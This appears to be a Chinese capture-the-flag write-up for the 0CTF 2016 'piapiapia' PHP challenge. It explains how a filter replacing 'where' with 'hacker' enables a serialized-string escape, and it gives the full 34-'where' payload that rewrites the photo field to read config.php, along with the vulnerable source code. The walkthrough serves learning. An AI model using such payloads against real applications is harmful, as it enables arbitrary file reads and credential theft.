news 2026/10/14 2:46:22

WP 0CTF 2016 piapiapia

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
WP 0CTF 2016 piapiapia
1.进入网站首页

登录框页面,思路

弱密码-->SQL注入-->寻找注册接口等敏感信息(FindSomething、全局搜索关键字、dirsearch)-->测试逻辑漏洞..

经过dirsearch扫描尝试发现存在源码泄露www.zip,解压到本地

2.源码审计

通读源码,梳理业务流程

  1. 注册登录填写资料界面update.php后,用户输入数据会组成数组,然后序列化

  2. 序列化的数据通过filter后传入数据库

  3. 访问个人主页profile.php,反序列化, file_get_contents($profile['photo'])

寻找可控输入点,构造payload

  1. flag在config.php中,如果能修改file_get_contents('config.php')就能拿到flag

  2. 在class.php里面,发现filter函数会将'select', 'insert', 'update', 'delete', 'where'替换成'hacker',其中where字符串长度与hacker不一致,通过写入where,序列化声明长度为5,被filter替换成hacker后,实际长度为6,实际长度>声明长度。我们可以通过控制where数量实现字符增多型逃逸。

  3. 我们希望解析器在读取 nickname 时,提前遇到闭合引号,然后把后面的内容解析成新的 photo字段,构造要注入的序列化片段

    ";}s:5:"photo";s:10:"config.php";}

  4. 计算这个片段的长度 l=34字节

  5. 计算where数量,我们需要让实际字符串中,在读取完声明长度 后,下一个字符恰好是我们注入的 "

    设输入 payload由K个where和注入片段l组成

    声明长度L1=5K+l,真实长度L2=L1+K

    我们希望实际字符串中,第 L1 + 1 个字符是那个 ",在实际字符串中," 的位置 = 前面 K 个 hacker 的长度 + 1 = 6K + 1。

    6K + 1 = L 1+ 1 = 5K +l+1 K = l =34

  6. 完整payload:

    wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

    反序列化读取声明长度后刚好到“结束,;语法分隔,}关闭 nickname 子数组,s:5:"photo";s:10:"config.php";外层重写 photo,}关闭整个 profile 大数组

    hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}

//config.php //发现全局变量flag <?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?> //class.php <?php require('config.php'); //user类:用户业务类,继承mysql类,实现用户注册、登录、查改资料 class user extends mysql{ private $table = 'users'; //检测用户名是否被占用 public function is_exists($username) { $username = parent::filter($username); ​ $where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); ​ $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); ​ $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); ​ $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); ​ $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; } } //mysql类:数据库底层操作类,封装连接、增删改查、自定义输入过滤 class mysql { private $link = null; //接收数据库配置数组,连接mysql,选择数据库,设置SQL模式为严格模式,返回连接 public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); ​ return $this->link; } //执行查询 public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } //新增数据 public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } //拼接 UPDATE 语句,更新指定字段值,根据 where 条件过滤,返回执行结果布尔值 public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } //自定义过滤函数 public function filter($string) { //过滤匹配‘和\,替换成_ $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); //黑名单,不区分大小写,替换成hacker $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config); //profile.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } /* 高危函数unserialize,如果可控序列化字符串,会触发PHP反序列化漏洞,数据库profile字段来自update_profile(),用户可控;$profile['photo']的内容用户可控(来自反序列化后的数组key),可控制photo值为任意文件路径,实现任意文件读取 */ else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?> //update.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { //手机号校验,必须是11位数字 $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); //邮箱校验,只能大小写字母、数字、下划线;有 @、点,各部分长度限制 if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); //昵称校验,只能大小写字母、数字、下划线,最大长度10个字符 if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); //图片校验,限制文件大小:5 字节~1MB,超出报错 $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); //文件保存到upload目录,文件名=原文件名的md5值 move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); //把整个profile数组serialize()序列化,作为第二个参数传给update_profile $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?>
3.执行步骤

注册

登录

填写个人信息

BP抓包修改信息

进入个人主页

查看网页源代码发现base64编码的config.php

使用cyberchef解密得到flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/14 2:45:21

加班后的回程路上,更适合先听完《妈妈,我失业了》

傍晚下班路上&#xff0c;中学生&#xff0c;把耳机音量调到刚好盖住走廊声在便利店门口抽一口冷气再进门。歌词里「走不出了」写的就是这种说不清又不甘心的时刻——《妈妈&#xff0c;我失业了》接住的&#xff0c;正是这截情绪。词曲&#xff1a;小熊歌&#xff5c;演唱&…

作者头像 李华
网站建设 2026/10/14 2:44:20

微信小程序+Java后端真实联调Demo:火车票查询完整闭环

简介&#xff1a;本资源是一套完整的微信小程序仿智行火车票12306系统实战项目&#xff0c;面向Java后端与小程序全栈初学者及进阶开发者&#xff0c;聚焦铁路订票类业务场景的工程化落地。项目采用SSM&#xff08;SpringSpringMVCMyBatis&#xff09;框架构建稳定后端服务&…

作者头像 李华
网站建设 2026/10/14 2:44:00

飞书接入OpenClaw与阿里百炼:搭建团队AI问答机器人实战

如果你跟我一样&#xff0c;每天绝大部分工作都泡在飞书里——聊需求、传文档、对排期、收通知——那你一定遇到过这种烦躁瞬间&#xff1a;明明刚想起一个问题想问问AI&#xff0c;却要切出聊天窗口&#xff0c;打开浏览器&#xff0c;找到模型平台&#xff0c;把问题粘进去&a…

作者头像 李华
网站建设 2026/10/14 2:43:58

Mnemonics Training:无需回放数据的增量学习抗遗忘方案

1. 这不是普通笔记&#xff0c;而是一套对抗“学了就忘”的增量学习实战方案你有没有试过让模型学完猫狗分类&#xff0c;再教它识别飞机时&#xff0c;猫狗的准确率突然掉了一半&#xff1f;这不是模型偷懒&#xff0c;是典型的灾难性遗忘——深度学习模型在持续学习新类别时&…

作者头像 李华